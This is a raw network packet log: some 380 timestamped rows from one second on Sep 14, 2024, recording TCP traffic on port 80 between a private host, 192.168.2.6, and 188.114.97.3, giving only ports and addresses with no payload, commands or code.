Sep 14, 2024 18:44:13.119090080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119122028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119153976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119178057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119185925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119220018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119241953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119251966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119283915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119309902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119318008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119349003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119371891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119400978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119432926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119462967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119465113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119498014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119512081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.119532108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.119589090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120007038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120059013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120090961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120122910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120131016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120156050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120187998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120194912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120222092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120254993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120250940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120290995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120313883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120325089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120358944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120382071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120390892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120424986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120444059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120456934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120490074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120521069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120523930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120557070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120578051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.120956898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.120990992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121023893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121023893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.121057034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121084929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.121130943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121164083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121190071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.121197939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121232986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121256113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.121267080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121299028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.121315956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.171943903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188333035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188359976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188375950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188388109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188401937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188474894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188486099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188498020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188509941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188522100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188530922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188559055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188582897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188766956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188779116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188790083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188812971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188829899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188847065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188864946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.188875914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.188947916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189151049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189184904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189219952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189234018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189254045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189289093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189306021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189322948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189357042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189376116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189388990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189423084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189455032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189455032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189488888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189502954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.189527988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189563036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.189573050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.204940081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205025911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205035925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205063105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205112934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205132008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205164909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205199003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205224037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205235958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205285072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205346107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205379963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205414057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205426931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205449104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205502033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205575943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205610037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205642939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205657959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205735922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205769062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205797911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205801964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205835104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205849886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.205872059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.205940962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206161976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206196070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206229925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206243992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206263065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206296921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206309080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206330061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206362963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206374884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206396103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206429958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206449032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206469059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206502914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206516027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206536055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206568956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206578970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206617117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206690073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.206953049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.206986904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207020044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207039118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207068920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207102060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207119942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207135916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207169056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207186937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207201958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207235098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207257032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207268000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207300901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207325935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207334042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207366943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207398891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207418919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207453012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207479954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207488060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207564116 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207822084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207855940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207889080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207910061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207921982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207954884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.207973003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.207988977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208020926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208045959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208054066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208087921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208120108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208133936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208153963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208173990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208187103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208221912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208235979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208256006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208288908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208323002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208352089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208359003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208389044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208786964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208822012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208853960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208858967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208887100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208909988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208920956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208954096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.208972931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.208987951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209021091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209043980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209055901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209088087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209110975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209117889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209150076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209182024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209194899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209217072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209237099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209249973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209281921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209305048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209315062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209347010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209373951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.209382057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209410906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.209434986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.250049114 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.462629080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462649107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462663889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462687016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462703943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462718964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462729931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462743044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462791920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.462862015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.462941885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462954044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.462965965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463018894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463076115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463236094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463248014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463258982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463270903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463283062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463294983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463296890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463308096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463320017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463331938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463335037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463342905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463356018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463360071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463370085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463435888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463435888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.463983059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.463995934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464006901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464013100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464019060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464023113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464030027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464040041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464056969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464071989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464075089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464087963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464101076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464112997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464119911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464124918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464155912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464165926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464169025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464217901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464852095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464864969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464875937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464886904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464899063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464909077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464920998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464920998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464931011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464942932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464942932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464953899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464967966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464972019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.464978933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.464991093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465002060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465012074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465013981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465025902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465038061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465048075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465049028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465065002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465086937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465744972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465761900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465774059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465785027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465795994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465807915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465809107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465818882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465831041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465831995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465842009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465856075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465868950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465874910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465881109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465892076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465903044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465914965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465914965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465925932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465933084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.465954065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.465991974 CEST	49722	80	192.168.2.6	188.114.97.3
